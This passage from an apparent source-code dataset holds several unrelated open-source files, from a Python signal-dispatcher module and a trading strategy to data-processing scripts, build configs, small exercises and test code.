appropriate\n\t\tsubsets of the sent arguments to apply to a given\n\t\treceiver.\n\n\t\tNote:\n\t\t\tif receiver is itself a weak reference (a callable),\n\t\t\tit will be de-referenced by the system's machinery,\n\t\t\tso *generally* weak references are not suitable as\n\t\t\treceivers, though some use might be found for the\n\t\t\tfacility whereby a higher-level library passes in\n\t\t\tpre-weakrefed receiver references.\n\n\tsignal -- the signal to which the receiver should respond\n\t\n\t\tif Any, receiver will receive any signal from the\n\t\tindicated sender (which might also be Any, but is not\n\t\tnecessarily Any).\n\t\t\n\t\tOtherwise must be a hashable Python object other than\n\t\tNone (DispatcherError raised on None).\n\t\t\n\tsender -- the sender to which the receiver should respond\n\t\n\t\tif Any, receiver will receive the indicated signals\n\t\tfrom any sender.\n\t\t\n\t\tif Anonymous, receiver will only receive indicated\n\t\tsignals from send/sendExact which do not specify a\n\t\tsender, or specify Anonymous explicitly as the sender.\n\n\t\tOtherwise can be any python object.\n\t\t\n\tweak -- whether to use weak references to the receiver\n\t\tBy default, the module will attempt to use weak\n\t\treferences to the receiver objects. If this parameter\n\t\tis false, then strong references will be used.\n\n\treturns None, may raise DispatcherTypeError\n\t\"\"\"\n\tif signal is None:\n\t\traise errors.DispatcherTypeError(\n\t\t\t'Signal cannot be None (receiver=%r sender=%r)'%( receiver,sender)\n\t\t)\n\tif weak:\n\t\treceiver = saferef.safeRef(receiver, onDelete=_removeReceiver)\n\tsenderkey = id(sender)\n\tif senderkey in connections:\n\t\tsignals = connections[senderkey]\n\telse:\n\t\tconnections[senderkey] = signals = {}\n\t# Keep track of senders for cleanup.\n\t# Is Anonymous something we want to clean up?\n\tif sender not in (None, Anonymous, Any):\n\t\tdef remove(object, senderkey=senderkey):\n\t\t\t_removeSender(senderkey=senderkey)\n\t\t# Skip objects that can not be weakly referenced, which means\n\t\t# they won't be automatically cleaned up, but that's too bad.\n\t\ttry:\n\t\t\tweakSender = weakref.ref(sender, remove)\n\t\t\tsenders[senderkey] = weakSender\n\t\texcept:\n\t\t\tpass\n\t\t\n\treceiverID = id(receiver)\n\t# get current set, remove any current references to\n\t# this receiver in the set, including back-references\n\tif signal in signals:\n\t\treceivers = signals[signal]\n\t\t_removeOldBackRefs(senderkey, signal, receiver, receivers)\n\telse:\n\t\treceivers = signals[signal] = []\n\ttry:\n\t\tcurrent = sendersBack.get( receiverID )\n\t\tif current is None:\n\t\t\tsendersBack[ receiverID ] = current = []\n\t\tif senderkey not in current:\n\t\t\tcurrent.append(senderkey)\n\texcept:\n\t\tpass\n\n\treceivers.append(receiver)\n\n\n\ndef disconnect(receiver, signal=Any, sender=Any, weak=True):\n\t\"\"\"Disconnect receiver from sender for signal\n\n\treceiver -- the registered receiver to disconnect\n\tsignal -- the registered signal to disconnect\n\tsender -- the registered sender to disconnect\n\tweak -- the weakref state to disconnect\n\n\tdisconnect reverses the process of connect,\n\tthe semantics for the individual elements are\n\tlogically equivalent to a tuple of\n\t(receiver, signal, sender, weak) used as a key\n\tto be deleted from the internal routing tables.\n\t(The actual process is slightly more complex\n\tbut the semantics are basically the same).\n\n\tNote:\n\t\tUsing disconnect is not required to cleanup\n\t\trouting when an object is deleted, the framework\n\t\twill remove routes for deleted objects\n\t\tautomatically. It's only necessary to disconnect\n\t\tif you want to stop routing to a live object.\n\t\t\n\treturns None, may raise DispatcherTypeError or\n\t\tDispatcherKeyError\n\t\"\"\"\n\tif signal is None:\n\t\traise errors.DispatcherTypeError(\n\t\t\t'Signal cannot be None (receiver=%r sender=%r)'%( receiver,sender)\n\t\t)\n\tif weak: receiver = saferef.safeRef(receiver)\n\tsenderkey = id(sender)\n\ttry:\n\t\tsignals = connections[senderkey]\n\t\treceivers = signals[signal]\n\texcept KeyError:\n\t\traise errors.DispatcherKeyError(\n\t\t\t\"\"\"No receivers found for signal %r from sender %r\"\"\" %(\n\t\t\t\tsignal,\n\t\t\t\tsender\n\t\t\t)\n\t\t)\n\ttry:\n\t\t# also removes from receivers\n\t\t_removeOldBackRefs(senderkey, signal, receiver, receivers)\n\texcept ValueError:\n\t\traise errors.DispatcherKeyError(\n\t\t\t\"\"\"No connection to receiver %s for signal %s from sender %s\"\"\" %(\n\t\t\t\treceiver,\n\t\t\t\tsignal,\n\t\t\t\tsender\n\t\t\t)\n\t\t)\n\t_cleanupConnections(senderkey, signal)\n\ndef getReceivers( sender = Any, signal = Any ):\n\t\"\"\"Get list of receivers from global tables\n\n\tThis utility function allows you to retrieve the\n\traw list of receivers from the connections table\n\tfor the given sender and signal pair.\n\n\tNote:\n\t\tthere is no guarantee that this is the actual list\n\t\tstored in the connections table, so the value\n\t\tshould be treated as a simple iterable/truth value\n\t\trather than, for instance a list to which you\n\t\tmight append new records.\n\n\tNormally you would use liveReceivers( getReceivers( ...))\n\tto retrieve the actual receiver objects as an iterable\n\tobject.\n\t\"\"\"\n\ttry:\n\t\treturn connections[id(sender)][signal]\n\texcept KeyError:\n\t\treturn []\n\ndef liveReceivers(receivers):\n\t\"\"\"Filter sequence of receivers to get resolved, live receivers\n\n\tThis is a generator which will iterate over\n\tthe passed sequence, checking for weak references\n\tand resolving them, then returning all live\n\treceivers.\n\t\"\"\"\n\tfor receiver in receivers:\n\t\tif isinstance( receiver, WEAKREF_TYPES):\n\t\t\t# Dereference the weak reference.\n\t\t\treceiver = receiver()\n\t\t\tif receiver is not None:\n\t\t\t\tyield receiver\n\t\telse:\n\t\t\tyield receiver\n\n\n\ndef getAllReceivers( sender = Any, signal = Any ):\n\t\"\"\"Get list of all receivers from global tables\n\n\tThis gets all receivers which should receive\n\tthe given signal from sender, each receiver should\n\tbe produced only once by the resulting generator\n\t\"\"\"\n\treceivers = {}\n\tfor set in (\n\t\t# Get receivers that receive *this* signal from *this* sender.\n\t\tgetReceivers( sender, signal ),\n\t\t# Add receivers that receive *any* signal from *this* sender.\n\t\tgetReceivers( sender, Any ),\n\t\t# Add receivers that receive *this* signal from *any* sender.\n\t\tgetReceivers( Any, signal ),\n\t\t# Add receivers that receive *any* signal from *any* sender.\n\t\tgetReceivers( Any, Any ),\n\t):\n\t\tfor receiver in set:\n\t\t\tif receiver: # filter out dead instance-method weakrefs\n\t\t\t\ttry:\n\t\t\t\t\tif receiver not in receivers:\n\t\t\t\t\t\treceivers[receiver] = 1\n\t\t\t\t\t\tyield receiver\n\t\t\t\texcept TypeError:\n\t\t\t\t\t# dead weakrefs raise TypeError on hash...\n\t\t\t\t\tpass\n\ndef send(signal=Any, sender=Anonymous, *arguments, **named):\n\t\"\"\"Send signal from sender to all connected receivers.\n\t\n\tsignal -- (hashable) signal value, see connect for details\n\n\tsender -- the sender of the signal\n\t\n\t\tif Any, only receivers registered for Any will receive\n\t\tthe message.\n\n\t\tif Anonymous, only receivers registered to receive\n\t\tmessages from Anonymous or Any will receive the message\n\n\t\tOtherwise can be any python object (normally one\n\t\tregistered with a connect if you actually want\n\t\tsomething to occur).\n\n\targuments -- positional arguments which will be passed to\n\t\t*all* receivers. Note that this may raise TypeErrors\n\t\tif the receivers do not allow the particular arguments.\n\t\tNote also that arguments are applied before named\n\t\targuments, so they should be used with care.\n\n\tnamed -- named arguments which will be filtered according\n\t\tto the parameters of the receivers to only provide those\n\t\tacceptable to the receiver.\n\n\tReturn a list of tuple pairs [(receiver, response), ... ]\n\n\tif any receiver raises an error, the error propagates back\n\tthrough send, terminating the dispatch loop, so it is quite\n\tpossible to not have all receivers called if a raises an\n\terror.\n\t\"\"\"\n\t# Call each receiver with whatever arguments it can accept.\n\t# Return a list of tuple pairs [(receiver, response), ... ].\n\tresponses = []\n\tfor receiver in liveReceivers(getAllReceivers(sender, signal)):\n\t\tresponse = robustapply.robustApply(\n\t\t\treceiver,\n\t\t\tsignal=signal,\n\t\t\tsender=sender,\n\t\t\t*arguments,\n\t\t\t**named\n\t\t)\n\t\tresponses.append((receiver, response))\n\treturn responses\ndef sendExact( signal=Any, sender=Anonymous, *arguments, **named ):\n\t\"\"\"Send signal only to those receivers registered for exact message\n\n\tsendExact allows for avoiding Any/Anonymous registered\n\thandlers, sending only to those receivers explicitly\n\tregistered for a particular signal on a particular\n\tsender.\n\t\"\"\"\n\tresponses = []\n\tfor receiver in liveReceivers(getReceivers(sender, signal)):\n\t\tresponse = robustapply.robustApply(\n\t\t\treceiver,\n\t\t\tsignal=signal,\n\t\t\tsender=sender,\n\t\t\t*arguments,\n\t\t\t**named\n\t\t)\n\t\tresponses.append((receiver, response))\n\treturn responses\n\t\n\ndef _removeReceiver(receiver):\n\t\"\"\"Remove receiver from connections.\"\"\"\n\tif not sendersBack:\n\t\t# During module cleanup the mapping will be replaced with None\n\t\treturn False\n\tbackKey = id(receiver)\n\ttry:\n\t\tbackSet = sendersBack.pop(backKey)\n\texcept KeyError:\n\t\treturn False \n\telse:\n\t\tfor senderkey in backSet:\n\t\t\ttry:\n\t\t\t\tsignals = connections[senderkey].keys()\n\t\t\texcept KeyError:\n\t\t\t\tpass\n\t\t\telse:\n\t\t\t\tfor signal in signals:\n\t\t\t\t\ttry:\n\t\t\t\t\t\treceivers = connections[senderkey][signal]\n\t\t\t\t\texcept KeyError:\n\t\t\t\t\t\tpass\n\t\t\t\t\telse:\n\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\treceivers.remove( receiver )\n\t\t\t\t\t\texcept Exception:\n\t\t\t\t\t\t\tpass\n\t\t\t\t\t_cleanupConnections(senderkey, signal)\n\ndef _cleanupConnections(senderkey, signal):\n\t\"\"\"Delete any empty signals for senderkey. Delete senderkey if empty.\"\"\"\n\ttry:\n\t\treceivers = connections[senderkey][signal]\n\texcept:\n\t\tpass\n\telse:\n\t\tif not receivers:\n\t\t\t# No more connected receivers. Therefore, remove the signal.\n\t\t\ttry:\n\t\t\t\tsignals = connections[senderkey]\n\t\t\texcept KeyError:\n\t\t\t\tpass\n\t\t\telse:\n\t\t\t\tdel signals[signal]\n\t\t\t\tif not signals:\n\t\t\t\t\t# No more signal connections. Therefore, remove the sender.\n\t\t\t\t\t_removeSender(senderkey)\n\ndef _removeSender(senderkey):\n\t\"\"\"Remove senderkey from connections.\"\"\"\n\t_removeBackrefs(senderkey)\n\ttry:\n\t\tdel connections[senderkey]\n\texcept KeyError:\n\t\tpass\n\t# Senderkey will only be in senders dictionary if sender \n\t# could be weakly referenced.\n\ttry: \n\t\tdel senders[senderkey]\n\texcept: \n\t\tpass\n\n\ndef _removeBackrefs( senderkey):\n\t\"\"\"Remove all back-references to this senderkey\"\"\"\n\ttry:\n\t\tsignals = connections[senderkey]\n\texcept KeyError:\n\t\tsignals = None\n\telse:\n\t\titems = signals.items()\n\t\tdef allReceivers( ):\n\t\t\tfor signal,set in items:\n\t\t\t\tfor item in set:\n\t\t\t\t\tyield item\n\t\tfor receiver in allReceivers():\n\t\t\t_killBackref( receiver, senderkey )\n\ndef _removeOldBackRefs(senderkey, signal, receiver, receivers):\n\t\"\"\"Kill old sendersBack references from receiver\n\n\tThis guards against multiple registration of the same\n\treceiver for a given signal and sender leaking memory\n\tas old back reference records build up.\n\n\tAlso removes old receiver instance from receivers\n\t\"\"\"\n\ttry:\n\t\tindex = receivers.index(receiver)\n\t\t# need to scan back references here and remove senderkey\n\texcept ValueError:\n\t\treturn False\n\telse:\n\t\toldReceiver = receivers[index]\n\t\tdel receivers[index]\n\t\tfound = 0\n\t\tsignals = connections.get(signal)\n\t\tif signals is not None:\n\t\t\tfor sig,recs in connections.get(signal,{}).iteritems():\n\t\t\t\tif sig != signal:\n\t\t\t\t\tfor rec in recs:\n\t\t\t\t\t\tif rec is oldReceiver:\n\t\t\t\t\t\t\tfound = 1\n\t\t\t\t\t\t\tbreak\n\t\tif not found:\n\t\t\t_killBackref( oldReceiver, senderkey )\n\t\t\treturn True\n\t\treturn False\n\t\t\n\t\t\ndef _killBackref( receiver, senderkey ):\n\t\"\"\"Do the actual removal of back reference from receiver to senderkey\"\"\"\n\treceiverkey = id(receiver)\n\tset = sendersBack.get( receiverkey, () )\n\twhile senderkey in set:\n\t\ttry:\n\t\t\tset.remove( senderkey )\n\t\texcept:\n\t\t\tbreak\n\tif not set:\n\t\ttry:\n\t\t\tdel sendersBack[ receiverkey ]\n\t\texcept KeyError:\n\t\t\tpass\n\treturn True\n", "source": "totologic/NaoRemoteCsharp", "license": "MIT"} {"text": "def f04(s):\n within = lambda n : n in [1, 5, 6, 7, 8, 9, 15, 16, 19]\n get_letters = lambda pred, w: [w[:2], w[0]][pred]\n wt, wdic = ((i + 1, w) for i, w in enumerate(s.split())), {}\n \n for index, word in wt:\n wdic[get_letters(within(index), word)] = index\n\n return wdic\n\n\ns = 'Hi He Lied Because Boron Could Not Oxidize Fluorine. New Nations Might Also Sign Peace Security Clause. Arthur King Can.'\n\nprint(f04(s))", "source": "omas-public/nlp100", "license": "MIT"} {"text": "#!/usr/bin/env python\n\"\"\"\nSouthern California Earthquake Center Broadband Platform\nCopyright 2010-2016 Southern California Earthquake Center\n\nBroadband Platform script to generate GMPE station comparisons and GOF plots\n$Id: gmpe_plot.py 1719 2016-08-18 21:44:13Z fsilva $\n\"\"\"\nfrom __future__ import division, print_function\n\n# Import Python modules\nimport os\nimport sys\n# import shutil\n\n# Import Broadband modules\nimport plot_gmpe\nimport bband_utils\nimport gmpe_config\nfrom install_cfg import InstallCfg\nfrom station_list import StationList\n\nclass GMPEPlot(object):\n\n def __init__(self, i_r_stations, i_format, i_mag,\n i_comparison_label, i_gmpe_group_name, sim_id=0):\n self.sim_id = sim_id\n self.r_stations = i_r_stations\n self.format = i_format\n self.mag = i_mag\n self.comp_label = i_comparison_label\n self.gmpe_group_name = i_gmpe_group_name\n # Make sure gmpes are in the right format\n if i_format != \"gmpe\":\n raise bband_utils.ParameterError(\"Format %s for \" %\n (self.format) +\n \"gmpe results \"\n \"not supported\")\n\n def run(self):\n \"\"\"\n This function creates GMPE plots for all stations\n \"\"\"\n print(\"GMPE Plot\".center(80, '-'))\n\n # Initialize basic variables\n install = InstallCfg.getInstance()\n sim_id = self.sim_id\n sta_base = os.path.basename(os.path.splitext(self.r_stations)[0])\n\n self.log = os.path.join(install.A_OUT_LOG_DIR, str(sim_id),\n \"%d.gmpe_gof.log\" % (sim_id))\n\n # Input, tmp, and output directories\n a_tmpdir = os.path.join(install.A_TMP_DATA_DIR, str(sim_id))\n a_outdir = os.path.join(install.A_OUT_DATA_DIR, str(sim_id))\n a_outdir_gmpe = os.path.join(install.A_OUT_DATA_DIR, str(sim_id),\n \"gmpe_data_%s\" % (sta_base))\n\n #\n # Make sure the output and tmp directories exist\n #\n dirs = [a_tmpdir, a_outdir, a_outdir_gmpe]\n bband_utils.mkdirs(dirs, print_cmd=False)\n\n # Figure out gmpe labels\n gmpe_group = gmpe_config.GMPES[self.gmpe_group_name]\n gmpe_labels = gmpe_group[\"labels\"]\n\n # Station file\n a_statfile = os.path.join(install.A_IN_DATA_DIR,\n str(sim_id),\n self.r_stations)\n # List of gmpe files\n filelist = os.listdir(a_outdir_gmpe)\n\n slo = StationList(a_statfile)\n site_list = slo.getStationList()\n\n # Go through each station\n for site in site_list:\n stat = site.scode\n print(\"==> Generating plot for station: %s\" % (stat))\n # Since we're using the GP station list, make sure the\n # .rd50 for the station exists. It might not if we ran the\n # validation with a shorter station list\n sim_file = os.path.join(a_outdir, \"%d.%s.rd50\" % (sim_id, stat))\n if not os.path.exists(sim_file):\n # just skip it\n print(\"Couldn't find file %s. \" % (sim_file) +\n \"This is not necessarily an error, as you may have \" +\n \"run with a subset of a stations. Continuing \" +\n \"with available stations.\")\n continue\n\n # Ok, we have the calculated rd50 for this station\n # Look for the gmpe file\n r_gmpe_file = \"%s-gmpe.ri50\" % (stat)\n if r_gmpe_file not in filelist:\n # No gmpe file for this station\n continue\n a_gmpe_file = os.path.join(a_outdir_gmpe, r_gmpe_file)\n\n # Plot GMPE rotd50 results\n outfile = os.path.join(a_outdir, \"%s_%d_%s_gmpe.png\" %\n (self.comp_label, sim_id, stat))\n\n plot_gmpe.plot_gmpe(stat, sim_file, a_gmpe_file, gmpe_labels,\n sim_id, self.comp_label, outfile)\n\n print(\"GMPE Plot Completed\".center(80, '-'))\n\nif __name__ == \"__main__\":\n PROG_BASE = os.path.basename(sys.argv[0])\n if len(sys.argv) != 7:\n print(\"Usage: %s \" % (PROG_BASE) +\n \"station_list gmpe_format magnitude \"\n \"comp_label gmpe_group_name sim_id\")\n sys.exit(1)\n print(\"Testing Module: %s\" % (PROG_BASE))\n ME = GMPEPlot(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4],\n sys.argv[5], sim_id=int(sys.argv[6]))\n ME.run()\n sys.exit(0)\n", "source": "kevinmilner/bbp", "license": "Apache-2.0"} {"text": "aos_global_config.set('no_with_lwip', 1)\n\nsrc = Split('''\n soc/uart.c\n main/arg_options.c\n main/main.c\n main/hw.c\n main/wifi_port.c\n main/ota_port.c\n main/nand.c\n main/vfs_trap.c\n''')\n\nglobal_cflags = Split('''\n -m32\n -std=gnu99\n -Wall\n -Wno-missing-field-initializers\n -Wno-strict-aliasing -Wno-address\n -Wno-unused-result\n -lpthread\n -lm\n -lrt\n -DDEBUG\n -ggdb\n''')\n\nglobal_macros = Split('''\n SYSINFO_PRODUCT_MODEL=\\\\\"ALI_AOS_LINUXHOST\\\\\"\n SYSINFO_DEVICE_NAME=\\\\\"LINUXHOST\\\\\"\n CONFIG_AOS_RHINO_MMREGION\n CONFIG_YSH_CMD_DUMPSYS\n CSP_LINUXHOST\n CONFIG_LOGMACRO_DETAILS\n CONFIG_AOS_FATFS_SUPPORT\n CONFIG_AOS_FATFS_SUPPORT_MMC\n CONFIG_AOS_UOTA_BREAKPOINT\n''')\n\ncomponent = aos_mcu_component('linuximpl', '', src)\n\ncomponent.set_global_arch('linux')\n\ncomponent.add_global_cflags(*global_cflags)\ncomponent.add_global_asflags('-m32')\ncomponent.add_global_ldflags('-m32', '-lpthread', '-lm', '-lrt', '-lreadline', '-lncurses')\ncomponent.add_global_macros(*global_macros)\n\n@post_config\ndef linuximpl_post_config(component):\n comp_names = [comp.name for comp in aos_global_config.components]\n if 'fatfs' in comp_names:\n component.add_sources('main/sdmmc.c')\n\n if 'net' in comp_names:\n aos_global_config.set('LWIP', 1)\n\n\nlinuximpl_post_config(component)\n\nLWIP = aos_global_config.get('LWIP')\nif LWIP == 1:\n lwip_src = Split('''\n csp/lwip/netif/delif.c \n csp/lwip/netif/fifo.c \n csp/lwip/netif/list.c \n csp/lwip/netif/tapif.c \n csp/lwip/netif/tcpdump.c \n csp/lwip/netif/tunif.c\n csp/lwip/lwip_linuxhost.c\n ''')\n for s in lwip_src:\n component.add_sources(s)\n### can't work end ###\n\nif aos_global_config.app == 'yts':\n src_tmp = Split('''\n main/sdmmc.c\n csp/lwip/netif/delif.c\n csp/lwip/netif/fifo.c\n csp/lwip/netif/list.c\n csp/lwip/netif/tapif.c\n csp/lwip/netif/tcpdump.c \n csp/lwip/netif/tunif.c\n csp/lwip/lwip_linuxhost.c\n ''')\n for s in src_tmp:\n component.add_sources(s)\n\t\t\nif aos_global_config.get('osal') == 'posix':\n\tcomponent.add_macros(\"CONFIG_OSAL_POSIX\") \nelse:\n\tsrc_tmp = Split('''\n\t\tsoc/soc_impl.c\n\t\tsoc/hook_impl.c\n\t\tsoc/trace_impl.c\n\t''')\n\tfor s in src_tmp:\n\t\tcomponent.add_sources(s)\n\ncomponent.add_comp_deps('utility/log', 'platform/arch/linux', 'osal', 'kernel/init')\n\ncomponent.add_global_includes('include', 'csp/lwip/include')\n\n\n\n\n \n", "source": "jinlongliu/AliOS-Things", "license": "Apache-2.0"} {"text": "from rqalpha.api import *\n\n\n# \u5728\u8fd9\u4e2a\u65b9\u6cd5\u4e2d\u7f16\u5199\u4efb\u4f55\u7684\u521d\u59cb\u5316\u903b\u8f91\u3002context\u5bf9\u8c61\u5c06\u4f1a\u5728\u4f60\u7684\u7b97\u6cd5\u7b56\u7565\u7684\u4efb\u4f55\u65b9\u6cd5\u4e4b\u95f4\u505a\u4f20\u9012\u3002\ndef init(context):\n logger.info(\"init\")\n context.s1 = \"600519.XSHG\"\n context.cc = \"600016.XSHG\"\n update_universe(context.s1)\n # \u662f\u5426\u5df2\u53d1\u9001\u4e86order\n context.fired = False\n\n\ndef before_trading(context):\n pass\n\n\ndef handle_tick(context, tick):\n logger.info(\"\u6bcf\u4e00\u4e2aTick\u6267\u884c\")\n logger.info(tick)\n DATETIME_FORMAT = '%Y-%m-%d'\n date = tick.strftime(DATETIME_FORMAT) #\u83b7\u5f97\u65e5\u671f\n #print(dt)\n\n DATETIME_FORMAT2 = '%H:%M:%S'\n ticktime = tick.strftime(DATETIME_FORMAT2)\n if ticktime == '09:25:00':\n print(ticktime)\n import MysqlTick.Loopback.scanZToneDay3 as scanzt\n listResult = scanzt.getGreaterThanList(date)\n # listResult = getGreaterThanList(dateDay , percentage)\n print(listResult)\n\n '''from rqalpha.environment import Environment #Environment\u6709\u5f88\u591a\u4fe1\u606f\n DATETIME_FORMAT = \"%Y-%m-%d %H:%M:%S.%f\"\n dt = Environment.get_instance().calendar_dt.strftime(DATETIME_FORMAT)\n print('ddddddddddddd', dt)'''\n\n\n# \u4f60\u9009\u62e9\u7684\u8bc1\u5238\u7684\u6570\u636e\u66f4\u65b0\u5c06\u4f1a\u89e6\u53d1\u6b64\u6bb5\u903b\u8f91\uff0c\u4f8b\u5982\u65e5\u6216\u5206\u949f\u5386\u53f2\u6570\u636e\u5207\u7247\u6216\u8005\u662f\u5b9e\u65f6\u6570\u636e\u5207\u7247\u66f4\u65b0\ndef handle_bar(context, bar_dict):\n # \u5f00\u59cb\u7f16\u5199\u4f60\u7684\u4e3b\u8981\u7684\u7b97\u6cd5\u903b\u8f91\n\n # bar_dict[order_book_id] \u53ef\u4ee5\u62ff\u5230\u67d0\u4e2a\u8bc1\u5238\u7684bar\u4fe1\u606f\n # context.portfolio \u53ef\u4ee5\u62ff\u5230\u73b0\u5728\u7684\u6295\u8d44\u7ec4\u5408\u72b6\u6001\u4fe1\u606f\n\n # \u4f7f\u7528order_shares(id_or_ins, amount)\u65b9\u6cd5\u8fdb\u884c\u843d\u5355\n\n logger.info(\"\u6bcf\u4e00\u4e2aBar\u6267\u884c\")\n logger.info(\"\u6253\u5370Bar\u6570\u636e\uff1a\")\n logger.info(bar_dict[context.cc])\n logger.info(bar_dict[context.s1])\n\n\n if not context.fired:\n # order_percent\u5e76\u4e14\u4f20\u51651\u4ee3\u8868\u4e70\u5165\u8be5\u80a1\u7968\u5e76\u4e14\u4f7f\u5176\u5360\u6709\u6295\u8d44\u7ec4\u5408\u7684100%\n order_percent(context.s1, 1)\n context.fired = True\n", "source": "zoulida/sdufeQuant", "license": "Apache-2.0"} {"text": "from collections import defaultdict\nfrom functools import reduce, partial\n\ndef iter_dfs(K, node):\n def divide(node, depth):\n if \"_count\" not in node:\n node[\"_count\"] = 0\n stk.append(partial(conquer, node, depth))\n stk.extend((partial(divide, child, depth+1) for k, child in node.iteritems() if k != \"_count\"))\n\n def conquer(node, depth):\n node[\"_count\"] += sum(child[\"_count\"] for k, child in node.iteritems() if k != \"_count\")\n q, node[\"_count\"] = divmod(node[\"_count\"], K)\n result[0] += q*depth\n\n result = [0]\n stk = [partial(divide, node, 0)]\n while stk:\n stk.pop()()\n return result[0]\n\ndef bundling():\n N, K = map(int, raw_input().strip().split())\n\n _trie = lambda: defaultdict(_trie)\n trie = _trie()\n for _ in xrange(N):\n s = raw_input().strip()\n node = reduce(dict.__getitem__, s, trie)\n if \"_count\" not in node:\n node[\"_count\"] = 0\n node[\"_count\"] += 1 \n return iter_dfs(K, trie)\n\nfor case in xrange(input()):\n print 'Case #%d: %s' % (case+1, bundling())", "source": "imsushant12/GoogleKickStart2020_Solutions", "license": "MIT"} {"text": "from common.asserts import *\nfrom .common.company import *\nfrom common.components.hero import *\nfrom . import mobile_browser as browser\n\ndef test_hero_section(browser):\n section_class = 'investor-logos'\n assert_h1_spacing(browser, section_class, 16)\n assert_subtext_spacing(browser, section_class, value=40, mid_span=10)\n assert_customer_logo(browser, 380, logo_xpath='//section[contains(@class, \"fy-p-0\")]//div[contains(@class, \"container\")]//img[contains(@class, \"d-md-none\")]')\n\ndef test_why_fyle_section(browser):\n assert_why_fyle_section(browser, 40, None, 10, 265, 426)\n\ndef test_stat_section(browser):\n assert_stat_section(browser, 20, None, None, 40)\n\ndef test_fyle_journey(browser):\n assert_fyle_journey(browser, 40, None, 440, 20, 30)\n\ndef test_page_overflow(browser):\n assert_overflowing(browser)\n", "source": "fylein/fyle-www-tests", "license": "MIT"} {"text": "from datetime import datetime\nimport requests\n\nend_point = 'https://earthquake.usgs.gov/fdsnws/event/1/query'\n\nparams = {'starttime': datetime(2017, 9, 8, 4, 30, 0),\n 'endtime': datetime(2017, 9, 11, 4, 30, 0),\n 'maxlatitude': 18,\n 'minlatitude': 12.5,\n 'maxlongitude': -91,\n 'minlongitude': -103,\n 'minmagnitude': 5,\n 'orderby': 'time-asc',\n 'format': 'geojson'}\n\nr = requests.get(end_point, params = params)\nif r.status_code == 200:\n with open('../html/data/eathquakes.geojon', 'w') as dst:\n dst.write(r.text)\n", "source": "loicdtx/blog", "license": "MIT"} {"text": "import sys\nros_path = '/opt/ros/kinetic/lib/python2.7/dist-packages'\nif ros_path in sys.path:\n sys.path.remove(ros_path)\n\nimport os\nimport cv2\nimport re\n\npattens = ['name', 'xmin', 'ymin', 'xmax', 'ymax']\n\ndef get_annotations(xml_path):\n bbox = []\n with open(xml_path, 'r') as f:\n text = f.read().replace('\\n', 'return')\n p1 = re.compile(r'(?<=)(.*?)(?=)')\n result = p1.findall(text)\n for obj in result:\n tmp = []\n for patten in pattens:\n p = re.compile(r'(?<=<{}>)(.*?)(?=)'.format(patten, patten))\n if patten == 'name':\n tmp.append(p.findall(obj)[0])\n else:\n tmp.append(int(float(p.findall(obj)[0])))\n bbox.append(tmp)\n return bbox\n\ndef save_viz_image(image_path, xml_path, save_path):\n bbox = get_annotations(xml_path)\n image = cv2.imread(image_path)\n for info in bbox:\n cv2.rectangle(image, (info[1], info[2]), (info[3], info[4]), (255, 0, 0), thickness=2)\n cv2.putText(image, info[0], (info[1], info[2]), cv2.FONT_HERSHEY_PLAIN, 2,(0, 0, 255), 2)\n if not os.path.exists(save_path):\n os.mkdir(save_path)\n\n cv2.imwrite(os.path.join(save_path, image_path.split('/')[-1]), image)\n\ndef show_and_save(path):\n image_dir = 'JPEGImages'\n xml_dir = 'Annotations'\n save_dir = 'viz_images'\n image_path1 = os.path.join(os.path.abspath(path), image_dir)\n xml_path1 = os.path.join(os.path.abspath(path), xml_dir)\n save_path = os.path.join(os.path.abspath(path), save_dir)\n image_list = os.listdir(image_path1)\n for i in image_list:\n image_path = os.path.join(image_path1, i)\n xml_path = os.path.join(xml_path1, i.replace('.png', '.xml'))\n save_viz_image(image_path, xml_path, save_path)\n\ndef write_txt(root_path):\n src_ImageSets_dir = os.path.join(root_path, \"ImageSets/Main\")\n src_JPEGImages_dir = os.path.join(root_path, \"JPEGImages\")\n\n train_list = []\n filelist = os.listdir(src_JPEGImages_dir)\n for i in filelist:\n try:\n name = i.split('png')[0]\n # print(name)\n train_list.append(name[:-1])\n\n except:\n print(i + 'wrong')\n continue\n\n with open(os.path.join(src_ImageSets_dir, 'train.txt'), 'w') as json_file:\n for text in train_list:\n # print(text)\n json_file.write(text + '\\n')\n\nif __name__ == '__main__':\n # write_txt(\"/home/chenwei/HDD/Project/Parking-slot-Detection/datasets/voc_bosh_clyinder\")\n\n path = '/home/chenwei/HDD/Project/Parking-slot-Detection/datasets/voc_bosh_clyinder'\n show_and_save(path)", "source": "530824679/Parking-slot-Detection", "license": "MIT"} {"text": "#Desafio 12\n#Programa Calculador de desconto\n#L\u00ea um valor e um desconto e calcula o pre\u00e7o final com desconto\nvalor = float(input(\"Digite aqui o valor do produto: \"))\ndesconto = float(input(\"Digite aqui o valor do desconto, em porcentagem: \"))\npreco = valor * (100 - desconto)/100\nprint(f\"Ent\u00e3o, o produto que custa {valor}, com o desconto de {desconto}, ficaria por {preco}\")\n", "source": "erickeloi/ExerciciosTreino", "license": "MIT"} {"text": "import os\nimport json\nimport time\n\nfrom packaging.version import Version\n\nimport pytest\n\nfrom invoke.context import Context\nfrom invoke.exceptions import UnexpectedExit\n\nfrom test.test_utils import (\n is_mainline_context,\n is_rc_test_context,\n get_framework_and_version_from_tag,\n get_container_name,\n get_processor_from_image_uri,\n is_tf_version,\n LOGGER,\n)\n\n\n@pytest.mark.usefixtures(\"sagemaker_only\", \"huggingface\")\n@pytest.mark.integration(\"smprofiler\")\n@pytest.mark.model(\"N/A\")\n@pytest.mark.skipif(not is_mainline_context() and not is_rc_test_context(), reason=\"Mainline only test\")\ndef test_sm_profiler_pt(pytorch_training):\n processor = get_processor_from_image_uri(pytorch_training)\n if processor not in (\"cpu\", \"gpu\"):\n pytest.skip(f\"Processor {processor} not supported. Skipping test.\")\n\n ctx = Context()\n\n profiler_tests_dir = os.path.join(\n os.getenv(\"CODEBUILD_SRC_DIR\"), get_container_name(\"smprof\", pytorch_training), \"smprofiler_tests\"\n )\n ctx.run(f\"mkdir -p {profiler_tests_dir}\", hide=True)\n\n # Download sagemaker-tests zip\n sm_tests_zip = \"sagemaker-tests.zip\"\n ctx.run(\n f\"aws s3 cp {os.getenv('SMPROFILER_TESTS_BUCKET')}/{sm_tests_zip} {profiler_tests_dir}/{sm_tests_zip}\",\n hide=True,\n )\n\n # PT test setup requirements\n with ctx.prefix(f\"cd {profiler_tests_dir}\"):\n ctx.run(f\"unzip {sm_tests_zip}\", hide=True)\n with ctx.prefix(\"cd sagemaker-tests/tests/scripts/pytorch_scripts\"):\n 